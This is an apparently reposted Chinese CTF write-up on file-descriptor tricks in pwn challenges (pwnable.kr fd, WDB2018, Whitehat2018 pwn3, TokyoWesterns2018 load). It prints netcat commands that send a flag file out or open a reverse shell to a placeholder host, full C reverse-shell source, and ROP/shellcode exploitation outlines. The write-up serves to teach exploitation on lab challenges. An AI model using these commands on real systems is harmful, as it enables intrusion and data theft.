内容简介:接下来以一些 pwnable 题目为例分析一些 fd tricks,如果以后遇到新的操作会继续更新。 同样感谢大佬们的无私分享。有了前两篇的基础,这个就很简单了,只需要控制 read 的 第一个参数是 0 即可,当 fd = 0时,read 将会从 0 号文件,此时即为从 stdin 读取输入,接下来输入 “LETMEWIN\n” 即可。
接下来以一些 pwnable 题目为例分析一些 fd tricks,如果以后遇到新的操作会继续更新。 同样感谢大佬们的无私分享。
level 0: pwnable.kr - fd
fd@ubuntu:~$ cat fd.c #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
有了前两篇的基础,这个就很简单了,只需要控制 read 的 第一个参数是 0 即可,当 fd = 0时,read 将会从 0 号文件,此时即为从 stdin 读取输入,接下来输入 “LETMEWIN\n” 即可。
level 1: WDB2018_impossible
我们只分析与 fd 有关的部分
memset(secret_random, 0, 8uLL); fd = open("/dev/urandom", 0); read(fd, secret_random, 8uLL); printf("Input your secret code:", secret_random); read(0, buf, 8uLL); if ( !memcmp(secret_random, buf, 8uLL) ) { puts("Amazing! How can u know the secret code?"); puts("Ok,u are the boss, u can do anything u want"); puts("But u should be quiet about this, because this is illegal"); puts("So...Close ur mouth..."); close(0); qmemcpy(buf, bored_buf, 0x1000uLL); }
仔细看这段代码,open(“/dev/urandom”, 0); 后并没有对应的 close 操作。
因此如果重复运行这段代码,fd 会一直增加,到达该用户所能承受的最大量后(可以使用 ulimit -a
查看),下一次 open(“/dev/urandom”, 0); 就会失败,导致 read(fd, secret_random, 8uLL); 读了空数据,我们只需要输入 \0
即可通过 memcmp 的验证;
还有一点需要注意,这道题目随后关闭了 stdin (close(0)),因此即使我们能 get shell,我们的输入也不会被接受。但幸运的是题目只关闭了 stdin,stdout 和 stderr 还是可以用的,因此思路就有很多了,比如直接构造一段 open("./flag", 0); read(0, addr, 0x100); puts(addr)
的 ropchain 就可以得到 flag (因为 close(0), open(“./flag”, 0) 返回的 fd 将为 0)。
类似的题目还有 pwnable.kr - otp
level 2: Whitehat2018 - pwn3
同样只分析与 fd 有关的部分,通过 ret2vsyscall 获得一次任意命令执行的机会后,剩下的目的就是如何获取 flag 了
void echo() { int v0; // ST0C_4 int v1; // [rsp+Ch] [rbp-E4h] char buf[216]; // [rsp+10h] [rbp-E0h] unsigned __int64 v3; // [rsp+E8h] [rbp-8h] v3 = __readfsqword(0x28u); v0 = v1 + 32; read(0, buf, v0); printf("Echo machine: ", buf); write(1, buf, v0); close(0); close(1); strcpy(buf, deleteyourevilstring); }
这道题目的 stdin 和 stdout 都被关闭了,但因为我们有一次任意命令执行的机会,至少有以下三种方法获得 flag:
-
利用 stderr, 执行
sh ./flag
。当 shell 检测到 flag 的内容不是合法的 shell 指令时,会通过 stderr 将 flag 内容打印到显示屏上
WhiteHat2018_pwn03 [master●] sh ./flag ./flag: 1: ./flag: flag{this_is_flag}: not found
- 利用 pipe,前两篇提到 pipe 也是一种文件,虽然 stdin 和 stdout 被关闭了,但我们任然可以通过执行命令建立 pipe,利用 pipe 将 flag 内容发送到公网 vps,在 vps 上监听即可
WhiteHat2018_pwn03 [master●] cat ./flag| nc your_ip your_port ...... On vps: ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port Listening on [0.0.0.0] (family 0, port ????) Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47042) flag{this_is_flag}
- 建立一个 reverse shell,reverse shell 的原理完全可以另开一篇 post 介绍,这里就不再解释原理,在最后放了两篇参考链接,介绍的很清楚,对 reverse shell 不太了解的可以先读一下这两篇文章。
WhiteHat2018_pwn03 [master●] nc -e /bin/sh your_ip your_port ...... On vps: ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port Listening on [0.0.0.0] (family 0, port ????) Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47442) ls flag libc-2.27.i64 libc-2.27.so onehit onehit.i64 solve.py pwd /home/m4x/pwn_repo/WhiteHat2018_pwn03 id uid=1000(m4x) gid=1000(m4x) 组=1000(m4x),7(lp),27(sudo),100(users),109(netdev),113(lpadmin),117(scanner),124(sambashare),127(docker)
类似的题目有 0CTF2018 的 babystack
level 3: TokyoWestern2018 - load
这道题目用到了很多 fd 的知识
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char a1a[32]; // [rsp+0h] [rbp-30h] __int64 size; // [rsp+20h] [rbp-10h] __off_t offset; // [rsp+28h] [rbp-8h] set_buffer(); _printf_chk(1LL, "Load file Service\nInput file name: "); get_str(filename, 128); _printf_chk(1LL, "Input offset: "); offset = get_int(); _printf_chk(1LL, "Input size: "); size = get_int(); load_file(a1a, filename, offset, size); close_all(); return 0LL; } void __fastcall load_file(void *a1, const char *a2, __off_t a3, __int64 a4) { __int64 nbytes; // [rsp+0h] [rbp-30h] __off_t offset; // [rsp+8h] [rbp-28h] int fd; // [rsp+2Ch] [rbp-4h] offset = a3; nbytes = a4; fd = open(a2, 0); if ( fd == -1 ) { puts("You can't read this file..."); } else { lseek(fd, offset, 0); if ( read(fd, a1, nbytes) > 0 ) puts("Load file complete!"); close(fd); } } void close_all() { close(0); close(1); close(2); }
栈溢出的漏洞很好发现,但关键是我们只有打开远程文件,并从文件中读取内容的能力。根据一切皆文件的思想,如果打开 /proc/self/fd/0
,在 load_file() 中就相当于 read(3, a1, nbytes),但注意此时的 3 是 stdin,也就是说可以通过打开 /proc/self/fd/0 ,并从 stdin 读入数据来控制缓冲区内容。
那么我们要怎么利用呢?分析两种方法。
ropchain
pty 和 pts
先介绍一下什么是 pty 和 pts。我们已经知道 fd 指向被打开的文件,那么我们看一下 stdin,stdout 和 stderr 指向什么
others_reverse_shell [master●] ./file_descriptor ....... others_reverse_shell [master●] pgrep file_descriptor 8942 others_reverse_shell [master●] file /proc/8942/fd/0 /proc/8942/fd/0: symbolic link to /dev/pts/2 others_reverse_shell [master●] file /proc/8942/fd/1 /proc/8942/fd/1: symbolic link to /dev/pts/2 others_reverse_shell [master●] file /proc/8942/fd/2 /proc/8942/fd/2: symbolic link to /dev/pts/2
都指向了 /dev/pts/2
这个文件,pts 是 tty 的一部分,后续会介绍。
在第一篇已经说到了 tty 子系统是用来管理终端的,对每一个连接的终端,都会有一个 tty 设备与其对应,关系如下:
+----------------+ | TTY Driver | | | | +-------+ | +----------------+ +------------+ | | |<---------->| User process A | | Terminal A |<--------->| ttyS0 | | +----------------+ +------------+ | | |<---------->| User process B | | +-------+ | +----------------+ | | | +-------+ | +----------------+ +------------+ | | |<---------->| User process C | | Terminal B |<--------->| ttyS1 | | +----------------+ +------------+ | | |<---------->| User process D | | +-------+ | +----------------+ | | +----------------+
在 shell 里使用 tty
命令可以查看当前 shell 被关联到了哪个 tty
others_reverse_shell [master●] tty /dev/pts/3 others_reverse_shell [master●] echo test > /dev/pts/3 test others_reverse_shell [master●] lsof /dev/pts/3 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME zsh 8944 m4x 0u CHR 136,3 0t0 6 /dev/pts/3 zsh 8944 m4x 1u CHR 136,3 0t0 6 /dev/pts/3 zsh 8944 m4x 2u CHR 136,3 0t0 6 /dev/pts/3 zsh 8944 m4x 10u CHR 136,3 0t0 6 /dev/pts/3 lsof 10598 m4x 0u CHR 136,3 0t0 6 /dev/pts/3 lsof 10598 m4x 1u CHR 136,3 0t0 6 /dev/pts/3 lsof 10598 m4x 2u CHR 136,3 0t0 6 /dev/pts/3
可以看到当前 shell 使用的是 /dev/pts/3,因此直接往 /dev/pts/3 写数据跟标准输出是一样的;
使用 lsof 可以看出当前 shell 和 lsof 进程的 stdin(0u),stdout(1u),stderr(2u) 都绑定到了这个 tty 上,此时它们的关系如下
Input +--------------------------+ R/W +------+ ----------->| |<---------->| bash | | /dev/pts/3 | +------+ <-----------| |<---------->| lsof | Output | Foreground process group | R/W +------+ +--------------------------+
然后说一下 pty,使用 man 7 pty
查看 pty 的用户手册
DESCRIPTION A pseudoterminal (sometimes abbreviated "pty") is a pair of virtual character devices that provide a bidirectional communication channel. One end of the channel is called the master; the other end is called the slave.
pty 属于伪终端,“伪” 体现在 pty 是逻辑上的终端设备,但多用于模拟终端程序,比如使用 ssh,talnet 和 windows 下的 putty 等连接的终端时,此时并没有真正的设备连接到了主机,而是建立了一个 伪终端 来模拟各种行为。
从 man 手册中也可以看出 pty 分为 master 和 slave 两部分,其中 slave 部分称为 pts,master 称为 ptmx,二者结合实现 pty。工作流程可以简单的解释为进程通过调用 API 请求 ptmx 建立了一个 pts,然后会得到连接到 ptmx 的 fd 和一个新建的 pts(可以使用 man pts
查看更多细节)。
构造 ropchain
说了半天,再回到这道题目,虽然这道题目关闭了 stdin, stdout 和 stderr,pty 还在,换句话说,如果我们能控制 /dev/pts/? 的 fd 为 1,那么 puts(flag) 时就会把输出传递给 /dev/pts/? ,也就是我们能在显示屏上看到 flag。
总结一下思路:
- 利用 open(“/proc/self/fd/0”, 0) 来构造 ropchain
- ropchain 通过 open 和 read 把 flag 读到一个固定地址,同时控制 open(“/dev/pty/?”, 2) 返回的 fd 为 1
- puts(flag) 时,系统调用为 write(1, flag, len(flag)),也就是 flag 的内容将会输出到显示屏上
reverse shell
或者我们可以使用 reverse shell 来 get shell,这需要用到一些 procfs 的知识,不准备细讲,只需要知道可以通过往 /proc/self/mem 写数据更改 binary 内容即可(类似的题目有赛博地球杯的 fileManager 这道题目)。
通过 vmmap 可以看出 0x400000 - 0x401000 段具有可以行权限,且地址是固定的,因此我们可以控制 open(“/proc/self/mem”, 2) 返回的 fd 为 1,然后通过 puts(shellcode) 既可以将 shellcode 写到这段地址上,再控制 rip 到 shellcode 就可以建立一个 reverse shell(reverse shell 的经典题目有 pwnable.tw 的 kidding 等)。
总结一下思路:
- 利用 open(“/proc/self/fd/0”, 0) 来构造 ropchain,ropchain 实现 open(“/proc/self/mem”, 2) 返回的 fd 为 1
- 通过 puts(shellcode) 将 shellcode 写到具有可执行权限的代码段,可以用 lseek 控制 puts 写的位置
- 控制 rip 为 shellcode 建立 reverse shell
- 可以使用 /dev/stdin 代替 /proc/self/fd/0,效果一样,可以给 shellcode 留下更多空间
reverse shell 原理
简单介绍一下 reverse shell 的原理,先给出经典的 reverse shell 的建立方式
others_reverse_shell [master●] bat reverse_shell.c ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: reverse_shell.c ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ // reverse shell 2 │ #include <sys/types.h> 3 │ #include <sys/socket.h> 4 │ #include <netinet/in.h> 5 │ 6 │ #define NULL 0 7 │ 8 │ int socket(int domain, int type, int protocal); 9 │ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 10 │ int dup2(int oldfd, int newfd); 11 │ int execve(const char *filename, char *const argv[], char *const envp[]); 12 │ int close(int fd); 13 │ 14 │ void reverse_shell() 15 │ { 16 │ char* address = "your_ip"; 17 │ int port = your_port; 18 │ 19 │ // create a new socket but it has no address assigned yet 20 │ int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0); 21 │ 22 │ // create sockaddr_in structure for use with connect function 23 │ struct sockaddr_in sock_in; 24 │ sock_in.sin_family = AF_INET; 25 │ sock_in.sin_addr.s_addr = inet_addr(address); 26 │ sock_in.sin_port = htons(port); 27 │ 28 │ // perform connect to target IP address and port 29 │ connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in)); 30 │ 31 │ // duplicate file descriptors for STDIN/STDOUT/STDERR 32 │ for(int n = 0; n <= 2; n++) 33 │ { 34 │ dup2(sockfd, n); 35 │ } 36 │ 37 │ // execve("/bin/sh", 0, 0) 38 │ execve("/bin/sh", NULL, NULL); 39 │ 40 │ close(sockfd); 41 │ 42 │ return; 43 │ } 44 │ 45 │ 46 │ int main() 47 │ { 48 │ reverse_shell(); 49 │ 50 │ return 0; 51 │ } ───────┴─────────────────────────────────────────────────────────────────────────────────
如果前两篇看懂的话,那么参考这个代码,reverse shell 的原理就很好理解了
- 建立一个 socket,此时会新建一个 fd
- 给这个 socket 分配 ip 和 port
- 通过 dup2,将 socket 的 fd 复制到 0,1 和 2 上,这样 shell 的 io 就完全通过建立的 socket 了,这时如果我们监听这个 ip 和 port,就相当于拿到了一个 shell
References
https://lordidiot.github.io/2018-09-03/tokyowesterns-ctf-2018-load-pwn/
http://nano-chicken.blogspot.com/2014/07/linuxttyptypts.html
https://segmentfault.com/a/1190000009082089
http://shell-storm.org/shellcode/files/shellcode-219.php
http://tacxingxing.com/2018/01/19/procfs/
https://tdmathison.github.io/blog/slae32-1/
以上所述就是小编给大家介绍的《Play with file descriptor(Ⅲ)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
深入浅出强化学习:原理入门
郭宪、方勇纯 / 电子工业出版社 / 2018-1 / 79
《深入浅出强化学习:原理入门》用通俗易懂的语言深入浅出地介绍了强化学习的基本原理,覆盖了传统的强化学习基本方法和当前炙手可热的深度强化学习方法。开篇从最基本的马尔科夫决策过程入手,将强化学习问题纳入到严谨的数学框架中,接着阐述了解决此类问题最基本的方法——动态规划方法,并从中总结出解决强化学习问题的基本思路:交互迭代策略评估和策略改善。基于这个思路,分别介绍了基于值函数的强化学习方法和基于直接策略......一起来看看 《深入浅出强化学习:原理入门》 这本书的介绍吧!